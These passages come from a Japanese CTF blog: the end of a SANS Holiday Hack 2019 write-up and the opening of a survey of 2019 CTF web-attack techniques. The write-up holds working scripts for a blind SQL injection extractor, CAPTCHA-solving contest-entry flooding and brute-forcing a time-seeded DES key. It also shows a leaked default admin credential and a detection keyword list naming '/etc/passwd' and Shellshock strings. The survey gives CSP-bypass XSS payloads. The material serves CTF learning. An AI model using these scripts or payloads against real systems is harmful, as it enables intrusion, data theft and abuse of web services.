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5dsCS8/+dAtmZOfZ8qBmfC4vidbqiIVN5UnAn8X4Exq4G0okZEGzDpuuhQ3Ne2jcSJ08oH1rupq6qoYvVxY3dPQyeRfnMpfdjO+4w3/ljM3t71Me5SxBBQiqKf/zmFb7t5pP36gz6yI7B9MZoLViczATWaunoyPDbXa8lwCMtNBcHQpAcpdzc1KY5FViDu0qwA7C083U2an9IFerp/KnXy8l8t1VSC8bdN4ggljDCjAF7+8xfZ6wr535Xl21V7T0p+dkn1XdWS2CpYtVUK/ikB1sug2M1fvSosA1YkTxDmknoNuLDma+DiVx4Sr741+FTdJTWXCXtOOvabddVO5frTj5GIRtqjI2FpmLb/KKM6vVeyaE92nrln6raLijMXKNm6bt/0e6FteBphONJxLJcdcIWlSL/Y5VaDnBmSFD7Dka8433sRqvh9pwzU9ZTrXrWt6+sXVPfnMVK7Xld4W3rZp81jGzF1lxQBay8V/tXG2X/Gy0tupVeDY0ts+ZaDbL9EyxF1sc0XaXZ3c76o8tsAgEgmLZaBfGb1MWN1VVveiu66C3dav7JKl0r6894z77ouOnr7nx3cU9qa3fbPt037YsuIABfjcxS+QEFg1X9rzfOCkYHbcYsERi5XNzBfk84VpSC1VM5jJYToTXJqyj62zSFRMZ7K1l3Odilzqzb6xdc7fePnPFu4/aNaFoqzsCxdd3/bpPiJZkYAOyycv2pjvWGLv23aEp2I8be2UHL26y6GZsk8wVi0UdHf0TTFsTVeq1V3ZqsrtBjcC31f4gVO2ADuefkB38Yf3FPb7b185FrmrrHhAdxWzU+Vzn7xn9VzJWow1QG9nH3fLdu/FKI/Yy22b6rADo8gUn2X4oow0/JvHPOF5ODJxgO5JrPxd5GU3yylHZXzpg/vZxf/8AAL8wQq2xMfkUSL/C2r0iHsSWD57AAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTAyVDA4OjE1OjAxLTA3OjAwpogU0wAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0wMlQwODoxNTowMS0wNzowMNfVrG8AAAAadEVYdGV4aWY6Qml0c1BlclNhbXBsZQA4LCA4LCA4Eu0+JwAAACF0RVh0ZXhpZjpEYXRlVGltZQAyMDE5OjEwOjAxIDE2OjM4OjA2pSq/pAAAABR0RVh0ZXhpZjpJbWFnZUxlbmd0aAA2MDB41j+AAAAAE3RFWHRleGlmOkltYWdlV2lkdGgANjAwq6ovDQAAABp0RVh0ZXhpZjpTb2Z0d2FyZQBHSU1QIDIuMTAuMTLDM7QtAAAAG3RFWHRpY2M6Y29weXJpZ2h0AFB1YmxpYyBEb21haW62kTFbAAAAInRFWHRpY2M6ZGVzY3JpcHRpb24AR0lNUCBidWlsdC1pbiBzUkdCTGdBEwAAABV0RVh0aWNjOm1hbnVmYWN0dXJlcgBHSU1QTJ6QygAAAA50RVh0aWNjOm1vZGVsAHNSR0JbYElDAAAAAElFTkSuQmCC', 'uuid': 'b177d2d0-e584-11e9-97c1-309c23aaf0ac'}
    # warmup
    predict_image(queue.Queue(), dummy_img, [], sess, graph, labels, input_operation, output_operation)

    # Creating a session to handle cookies
    s = requests.Session()
    url = "https://fridosleigh.com/"

    json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
    b64_images = json_resp['images']                    # A list of dictionaries eaching containing the keys 'base64' and 'uuid'
    challenge_image_type = json_resp['select_type'].split(',')     # The Image types the CAPTEHA Challenge is looking for.
    challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting

    # Can use queues and threading to spead up the processing
    q = queue.Queue()

    #Going to interate over each of our images.
    for img in b64_images:
        # We don't want to process too many images at once. 10 threads max
        while len(threading.enumerate()) > 10:
            time.sleep(0.0001)
        threading.Thread(target=predict_image, args=(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation)).start()

    print('Waiting For Threads to Finish...')
    while threading.active_count() > 1:
        #print(threading.active_count())
        time.sleep(0.0001)

    # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
    select_images = [q.get() for x in range(q.qsize())]
    final_answer = ','.join( [ img['uuid'] for img in select_images ] )
    
    json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)
    if not json_resp['request']:
        # If it fails just run again. ML might get one wrong occasionally
        print('FAILED MACHINE LEARNING GUESS')
        print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer))
        print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data']))
        sys.exit(1)

    print('CAPTEHA Solved!')
    # If we get to here, we are successful and can submit a bunch of entries till we win
    userinfo = {
        'name':'Krampus Hollyfeld',
        'email':yourREALemailAddress,
        'age':180,
        'about':"Cause they're so flippin yummy!",
        'favorites':'thickmints'
    }
    # If we win the once-per minute drawing, it will tell us we were emailed. 
    # Should be no more than 200 times before we win. If more, somethings wrong.
    entry_response = ''
    entry_count = 1
    while yourREALemailAddress not in entry_response and entry_count < 200:
        print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count))
        entry_response = s.post("{}api/entry".format(url), data=userinfo).text
        entry_count += 1
    print(entry_response)


if __name__ == "__main__":
    main()

初回の判定で時間がかかるため、CAPTCHA画像の取得前に、#warmup処理を入れた。

また、CPU実行では5秒以内にクリアできなかったため、GPU実行するためにtensorflow_gpuとCUDAを使用した。パラメータやプログラムをチューニングすればCPU実行でもクリアできたかもしれないが、力で押してしまった。

(venv) D:\Develop\CTF\Contest\SANS2019>python capteha_api.py
WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.set_verbosity is deprecated. Please use tf.compat.v1.logging.set_verbosity instead.

WARNING:tensorflow:From capteha_api.py:11: The name tf.logging.ERROR is deprecated. Please use tf.compat.v1.logging.ERROR instead.

bc4876c3-e584-11e9-97c1-309c23aaf0ac Ornaments
c8534506-e584-11e9-97c1-309c23aaf0ac Stockings
db4d2d18-e584-11e9-97c1-309c23aaf0ac Ornaments
efe57aca-e584-11e9-97c1-309c23aaf0ac Ornaments
28d30603-e585-11e9-97c1-309c23aaf0ac Stockings
3b8d0ffd-e585-11e9-97c1-309c23aaf0ac Christmas Trees
4239c700-e585-11e9-97c1-309c23aaf0ac Stockings
6b6c4b1f-e585-11e9-97c1-309c23aaf0ac Stockings
7b0948d3-e585-11e9-97c1-309c23aaf0ac Ornaments
a73111a4-e585-11e9-97c1-309c23aaf0ac Christmas Trees
77038979-e586-11e9-97c1-309c23aaf0ac Ornaments
7ae2ec20-e586-11e9-97c1-309c23aaf0ac Christmas Trees
b53a83cc-e586-11e9-97c1-309c23aaf0ac Ornaments
c0b9ab01-e586-11e9-97c1-309c23aaf0ac Christmas Trees
a20bf50e-e586-11e9-97c1-309c23aaf0ac Christmas Trees
27d6c159-e587-11e9-97c1-309c23aaf0ac Christmas Trees
29347cd2-e587-11e9-97c1-309c23aaf0ac Christmas Trees
294e44c4-e587-11e9-97c1-309c23aaf0ac Stockings
91dfe747-e587-11e9-97c1-309c23aaf0ac Stockings
Waiting For Threads to Finish...
48ef0285-e588-11e9-97c1-309c23aaf0ac Stockings
CAPTEHA Solved!
Submitting lots of entries until we win the contest! Entry #1
Submitting lots of entries until we win the contest! Entry #2
(snip)
Submitting lots of entries until we win the contest! Entry #101
Submitting lots of entries until we win the contest! Entry #102
{"data":"<h2 id=\"result_header\"> Entries for email address <mailaddress> no longer accepted as our systems show your email was already randomly selected as a winner! Go check your email to get your winning code. Please allow up to 3-5 minutes for the email to arrive in your inbox or check your spam filter settings. <br><br> Congratulations and Happy Holidays!</h2>","request":true}

クリアするとEメールを受信した。

f:id:graneed:20191231105259p:plain

answer: 8Ia8LiZEwvyZr2WO

9) Retrieve Scraps of Paper from Server

Error-Based Blind SQL Injectionを使用してサイト上からレコードを窃取し、得られたURLのパスから画像ファイルを集めた。

テーブル名、カラム名を特定してからレコードを取得する。プログラムは以下のとおり。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://studentportal.elfu.org/application-check.php'
URL_V = "https://studentportal.elfu.org/validator.php"
target = ""

def challenge(offset, guess):
    threshold = 1

    req = requests.get(
        URL_V
    )
    token = req.text

    start = time.time()
    req = requests.get(
        URL,
        params={
            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: applications,krampus,students

            #"elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(column_name) from information_schema.columns where table_name='krampus'), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: id,path

            "elfmail" : "' or if(ASCII(SUBSTRING((select group_concat(path) from krampus), {}, 1)) < {}, ~(FALSE)+1, 1) #".format(offset + 1, guess, threshold),
            #[+] target: /krampus/0f5f510e.png,/krampus/1cc7e121.png,/krampus/439f15e6.png,/krampus/667d6896.png,/krampus/adb798ca.png,/krampus/ba417715.png

            "token": token
        }
    )
    elapsed_time = time.time() - start

    if "Error" in req.text:
        return True
    else:
        return False

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

f:id:graneed:20191231172932p:plain

answer: Super Sled-o-matic

10) Recover Cleartext Document

暗号化ツールで暗号化されたファイルを復号する問題。

まずは暗号化ツールの仕様と挙動を確認する。

--insecureオプションでHTTP通信にしてWireSharkで観察しながら実行すると、 キーをローカルで生成してから、サーバに送信し、サーバ側でsecret idを払い出していることがわかる。

(venv) D:\Develop\CTF\Contest\SANS2019\q10>elfscrow.exe --insecure --encrypt test.txt test.txt.enc
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Our miniature elves are putting together random bits for your secret key!

Seed = 1577829922

Generated an encryption key: 0a875607c97060d3 (length: 8)

Elfscrowing your key...

Elfscrowing the key to: elfscrow.elfu.org/api/store

Your secret id is 65d62b04-b20b-4a36-9328-c9ea5625a547 - Santa Says, don't share that key with anybody!
File successfully encrypted!

    ++=====================++
    ||                     ||
    ||      ELF-SCROW      ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||     O               ||
    ||     |               ||
    ||     |   (O)-        ||
    ||     |               ||
    ||     |               ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ||                     ||
    ++=====================++

復号の際には、secret idをサーバに送信して、サーバに保存されているキーを取得して復号しているようだ。

(venv) D:\Develop\CTF\Contest\SANS2019\q8>elfscrow.exe --insecure --decrypt --id=65d62b04-b20b-4a36-9328-c9ea5625a547 test.txt.enc test.txt.dec
Welcome to ElfScrow V1.01, the only encryption trusted by Santa!

*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark

Let's see if we can find your key...

Retrieving the key from: /api/retrieve

We found your key!
File successfully decrypted!

  +----------------------+
  |\                    /\
  | \ ________________ / |\
  |  |                |  | \
  |  | +------------+ |  |  \
  |  | |\          /| |  |   \
  |  | | \        / | |  |    \
  |  | |  \      /  | |  |     \
  |  | |   \    /   | |  |     |
  |  | |    \  /    | |  |     |
  |  | |     \/     | |  |     |
  |  | |            | |  |     |
  |  | |            | |  |     |
  |  |_|   SECRET   |_|  |     |
  | /  +------------+  \ |     |
  |/                    \|     |
  +----------------------\     |
                          \    |
                           \   |
                            \  |
                             \ |
                              \|
                               |

ターゲットとなるファイルを復号するキーを得るためのsecret idをサーバから取得するのは厳しそうである。

暗号化を実行した際のSeed = 1577829922の出力に注目する。これは明らかにUnixtimeであり、キーの生成にあたりUnixtimeを使用していることを示唆している。また、問題のヒントとしてWe know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.という情報が与えられている。

つまり、キーの生成処理を解析し、何らかのSeed値として使用されているUnixtimeについては2時間の範囲を総当たりすれば、キーを特定できると推測できる。

Ghidraでデコンパイルして、キーの生成処理を確認する。

f:id:graneed:20200101071912p:plain

f:id:graneed:20200101071940p:plain

推測通り、現在時間のUnixtimeを元にキーを生成している。乱数は使用しておらず、Unixtimeの値をそのまま使用して計算およびbit演算をしている。

このキー生成ロジックをPythonに移植した上で、2時間の範囲を総当たりするプログラムを作る。暗号化方式はDES_CBCで、ivは無指定であったので0x00で埋めた。 復号結果のファイルはPDFであることがわかっているため、PDFファイルのマジックナンバーである%PDFが含まれているかどうかをチェックした。

from datetime import datetime, timezone
from Crypto.Cipher import DES

ENCRYPT_FILE_PATH = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc'
DECRYPT_DIR_PATH = './output/'

#int __cdecl super_secure_random(void)
#{
#  DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3;
#  return DAT_0040602c >> 0x10 & 0x7fff;
#}
DAT_0040602c = 0
def super_secure_random():
    global DAT_0040602c
    DAT_0040602c = DAT_0040602c * 0x343fd + 0x269ec3
    return DAT_0040602c >> 0x10 & 0x7fff

#  i = 0;
#  while (i < 8) {
#    iVar2 = super_secure_random();
#    buffer[i] = (uchar)iVar2;
#    i = i + 1;
#  }
def genKey(seed):
    global DAT_0040602c
    DAT_0040602c = seed
    key = bytearray()
    for i in range(8):
        iVar2 = super_secure_random()
        key.append((iVar2 & 0x000000ff))
    return bytes(key)

unpad = lambda s : s[0:-s[-1]]
def decrypt(encrypt_data, key):
    #print(encrypt_data[:DES.block_size])
    #cipher = DES.new(key, DES.MODE_CBC, encrypt_data[:DES.block_size])
    cipher = DES.new(key, DES.MODE_CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
    try:
        return unpad(cipher.decrypt(encrypt_data))
    except KeyboardInterrupt:
        raise
    except:
        pass

def main():
    with open(ENCRYPT_FILE_PATH, "rb") as encrypt_file:
        encrypt_data = encrypt_file.read()

        # We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
        from_time = int(datetime(2019,12,6,19,tzinfo=timezone.utc).timestamp())
        to_time = int(datetime(2019,12,6,21,tzinfo=timezone.utc).timestamp())

        for seed in range(from_time, to_time):
            key = genKey(seed)
            decrypt_data = decrypt(encrypt_data, key)
            if decrypt_data is not None and b"%PDF" in decrypt_data:
                with open(DECRYPT_DIR_PATH + str(seed) + ".pdf", 'wb') as decrypt_file:
                    print("[+] decrypt: " + DECRYPT_DIR_PATH + str(seed) + ".pdf")
                    decrypt_file.write(decrypt_data)

if __name__ == "__main__":
    main()

実行すると3つのファイルが生成され、うち1つのファイルを正しくArobat Readerで表示することができた。

f:id:graneed:20200112190101p:plain

answer: Machine Learning Sleigh Route Finder

11) Open the Sleigh Shop Door

Web画面の中から鍵を開くためのコードを集める問題。鍵は全部で10個。 ヒントにしたがって、Web画面のJavaScript/DOM/CSSの属性や値を表示したり操作したりすると、コードが得られる。

大半のコードは表示するたびに値が変わるため、やり直すときには再度最初から確認していく必要がある。 JavaScriptでコードを生成しているようだが、難読化されているため、それを読み解くよりは正攻法で解く方が早そうだ。

1

開発者コンソールにそのまま表示されている。

f:id:graneed:20200112190659p:plain

2

CSSのmedia typeが印刷用の場合にのみ表示されるため、印刷プレビュー画面から確認する。 f:id:graneed:20200101073059p:plain

3

ネットワークキャプチャを確認すると、定期的に以下のURLにアクセスしている。
https://crate.elfu.org/images/a5097628-75cd-48d4-90c1-c43abdba7991.png

f:id:graneed:20200112220245p:plain

4

ローカルストレージに格納されている。

f:id:graneed:20200101104800p:plain

5

document.titleの後ろの方にセットされているため、コンソールでdocument.titleを実行して確認する。

f:id:graneed:20200101104835p:plain

6

ホログラムのカードに適用されているスタイルのperspectiveの値を巨大にすると表示される。

f:id:graneed:20200101082025p:plain

7

問題文のフォント名を確認する。

f:id:graneed:20200101081845p:plain

8

問題文でハイライトされているeggsのイベントリスナーを確認する。

f:id:graneed:20200101082449p:plain

9

問題文の中でspanタグでclassがchakraとなっている部分の状態を強制的にactiveにすると表示される。

Triggering of pseudo classes  |  Web  |  Google Developers

f:id:graneed:20200101103850p:plain

f:id:graneed:20200101082921p:plain

10

鍵の装置のカバー画像のdiv要素をdrag & dropで移動すると、基盤がむき出しになる。

f:id:graneed:20200101110026p:plain

基盤の右下にコードが書いてあるが、それをそのまま入力しても、コンソールでエラーメッセージが表示される。

f:id:graneed:20200101103212p:plain

Error: Missing macaroni!

ソースコード内をmacaroniで検索すると、classがcomponent macaroniのdiv要素を発見する。 drag&dropで鍵の装置のdiv要素の子に移動し、再度コードを入力すると、次のエラーメッセージが表示される。 同じ要領で、swab、gnomeも移動する。

f:id:graneed:20200101105815p:plain

f:id:graneed:20200101105658p:plain

10個の鍵を開けると答えが表示された。

answer: The Tooth Fairy

高速化

クリアはできたものの、画面を表示してからクリアするまでの時間が計測されているようで、3分以内を目指すようメッセージが表示された。 10個の鍵のうち、簡単にJavaScriptでコード値を設定可能な部分だけ対応して半自動化し、3分を切ってみた。

// 4
document.getElementsByTagName("input")[3].value = localStorage.getItem("🛢️🛢️🛢️")
// 5
document.getElementsByTagName("input")[4].value = document.title.substr(-8)
// 8
document.getElementsByTagName("input")[7].value = "VERONICA"
// 10
document.getElementsByTagName("input")[9].value = "KD29XJ37"
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component macaroni")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component swab")[0])
document.getElementsByClassName("lock c10")[0].appendChild(document.getElementsByClassName("component gnome")[0])
document.getElementsByClassName("locks")[0].appendChild(document.getElementsByClassName("cover")[0])

f:id:graneed:20200101114910p:plain

ただ、次は5秒以内を目指せとメッセージが表示された。諦めた。

12) Filter Out Poisoned Sources of Weather Data

JSON形式のWebサーバのアクセスログを分析し、不正なデータをリクエストしてくるIPアドレスを管理画面からブラックリストに登録する問題。

ただ、管理画面へログインするクレデンシャル情報もない状態からスタート。

Step1. ログイン

ステータスコードが200のログを抽出し、有効なURLをリストアップする。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat http.log | jq '(.[] | select (.status_code==200)) | .uri' | sed 's/"//g' | sed 's/\?.*//' | sort | uniq > status_200.txt
root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# cat status_200.txt
/
/alert.html
/apidocs.pdf
/api/firewall
/api/login
/api/measurements
/api/stations
/api/weather
/css/alt.css
/css/freelancer.min.css
/css/main.css
/css/weathermap.css
/home.html
/img/badweather.png
/img/goodweather.png
/img/logo_zoomed2.PNG
/index.html
/js/CustomEase.js
/js/freelancer.min.js
/js/ipaddr.js
/js/library-g.js
/js/Morph.js
/js/weathermap.js
/logout
/map.html
/README.md
/santa.html
/vendor/bootstrap/js/bootstrap.bundle.min.js
/vendor/fontawesome-free/css/all.min.css
/vendor/fontawesome-free/webfonts/fa-solid-900.woff2
/vendor/jquery-easing/jquery.easing.min.js
/vendor/jquery/jquery.min.js

README.mdが怪しい。

root@kali:/mnt/hgfs/CTF/Contest/SANS2019/q12# curl https://srf.elfu.org/README.md
# Sled-O-Matic - Sleigh Route Finder Web API

### Installation

 ```
sudo apt install python3-pip
sudo python3 -m pip install -r requirements.txt
 ```

#### Running:

`python3 ./srfweb.py`

#### Logging in:

You can login using the default admin pass:

`admin 924158F9522B3744F5FCD4D10FAC4356`

However, it's recommended to change this in the sqlite db to something custom.

デフォルトのクレデンシャル情報を入手できた。入力するとログインに成功した。

Step2. ブラックリスト作成

エルフの情報から、攻撃パターンはXSS、SQLi、LFI、ShellShockの4種類であることがわかる。

ログを眺めると、確かにそれっぽい攻撃データが散見される。 host、uri、user_agent、usernameにセットされているようなので、それらに攻撃データをセットしているIPアドレスブラックリストにいれる。

ただ、それだけでは足りなかった。 エルフの情報から、更に横展開して確認するようヒントがあったため、攻撃データをセットしているログのuser_agentと、同じuser_agentを使用しているログのIPアドレスブラックリストに追加する。それだけでは誤検知してしまうため、件数で閾値を設ける。

jqコマンドでやるのは辛いので、pythonで書く。

import json

def main():
    f = open("http.log", "r")
    logs = json.load(f)

    blacklist_ip = []
    blacklist_ua = []

    for record in logs:
        for column in ["host","uri","user_agent","username"]:
            for check in ["<script>","' ","./","/etc/passwd", "/bin/", ":;"]:
                if check in record[column]:
                    blacklist_ip.append(record["id.orig_h"])
                    blacklist_ua.append(record["user_agent"])
    blacklist_ip = list(set(blacklist_ip))
    blacklist_ua = list(set(blacklist_ua))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    blacklist_ua_counts = {}
    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ua_counts[ua] = blacklist_ua_counts[ua] + 1 if ua in blacklist_ua_counts else 1

    threshold = 2
    print(blacklist_ua_counts)
    for k, v in blacklist_ua_counts.items():
        if v > threshold:
            blacklist_ua.remove(k)

    for record in logs:
        for ua in blacklist_ua:
            if ua == record["user_agent"]:
                blacklist_ip.append(record["id.orig_h"])
    blacklist_ip = list(set(blacklist_ip))
    print("[+] blacklist_ip size: " + str(len(blacklist_ip)))

    for ip in blacklist_ip:
        print(ip+",", end="")

if __name__=='__main__':
    main()

得られたIPアドレスリストをブラックリストとして登録すると、答えが得られた。

answer: 0807198508261964

最後の部屋に到達し、キャラクター全員に話しかけるとスタッフロールが流れてクリア。

f:id:graneed:20200102005216p:plain

f:id:graneed:20200102005423p:plain

所感

昨年も感じたが、とにかく問題のバリエーションやテーマが多岐にわたっていて、チャレンジしていてワクワクする問題が多い。さすがSANS。

今年の目玉の問題は、splunkと機械学習だろう。どちらも、触ったことが無い人が初めて触るのにちょうどいい難易度だと思う。 あと、実はGhidraを触るのは今回が初だったりもする。良いきっかけを与えてくれた。

いずれにしても、無料でここまで勉強させてもらえるコンテンツは中々無い。次回も楽しみである。

【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)

CTF Advent Calendar 2019 - Adventarの25日目の記事です。
1つ前は@ptr-yudai氏の2019年のpwn問を全部解くチャレンジ【後半戦】 - CTFするぞでした。


はじめに

昨年に引き続き、今年も2019年のCTFイベントで出題されたWeb問題のwriteupを全部読んで、 新しく知った攻撃手法や特徴的な問題をピックアップして紹介します。

昨年の記事はこちらです。
graneed.hatenablog.com

対象イベント

対象のイベントの条件は以下のとおりです。

  • 2019年1月1日~12月24日(本記事の執筆時点)までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

昨年はCTFTimeに登録されているwriteupのみを対象にしていましたが、今年はそのほかにも[CTF writeup イベント名 問題名]をキーワードにgoogle検索してwriteupを探しました。

問題数

確認できたWeb問題数は419問、その中でwriteupがあるWeb問題数は372問 (全Web問題数の88.8%)でした。

なお、昨年はSQLiやXSSといった脆弱性タイプの出現数をカウントしてランク付けを行いましたが、労力がかかった割には有益では無かったため、今年は割愛し、その代わりに具体的な攻撃手法の紹介を増やしました。

読み方、使い方

量が膨大ですが、 大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照頂いたり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。

それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。

では、さっそく本題にいきます。

Cross-Site Scripting(XSS)

SVGファイルを利用したCSPバイパス

CSPの設定で自ドメインスクリプトしか実行できないが、画像ファイルのアップロードが可能な場合に、XSSを行う手法です。

SVGファイルはXML形式、つまりHTMLと同じくタグ記法のファイル形式であるため、scriptタグで任意のJavaScriptを埋め込み可能です。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg ...>  
   <script>
      alert(1);
   </script>
</svg>

GoogleドメインJSONPを利用したCSPバイパス

CSPの設定でGoogleドメインが許可されている場合に、XSSを行う手法です。

Googleドメイン上に、JSONPを返すコンテンツがあるため、それを使用して任意のcallback関数を呼んでもらいます。

root@kali:~# curl https://www.google.com/jsapi?callback=alert
if(!window['googleLT_']){window['googleLT_']=(new Date()).getTime();}if (!window['google']) {
window['google'] = {};
}
(snip)
{":1":"1.6.1",":1.1":"1.1.1",":1.2":"1.2.3",":1.3":"1.3.2",":1.4":"1.4.3",":1.5":"1.5.1",":1.6":"1.6.1",":1.7":"1.7.2"}}});
}
alert();

root@kali:~# curl "https://accounts.google.com/o/oauth2/revoke?callback=alert()"
// API callback
alert()({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert()'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);

こういうことですね。

サブリソース完全性(SRI)機能を利用した入力チェックバイパス

Chrome77から実装された、<link rel="preload">使用時のサブリソース完全性機能を悪用し、わざとチェックを失敗させることで、 画面ロード時のスクリプトの処理順序を変更させて、入力チェックをバイパスする手法です。

Chrome拡張機能のパスワードマネージャーKeePassの悪用

パスワードマネージャーKeePassが自動で入力補完したクレデンシャル情報を窃取する手法です。 これは問題のアイデアに感心しました。

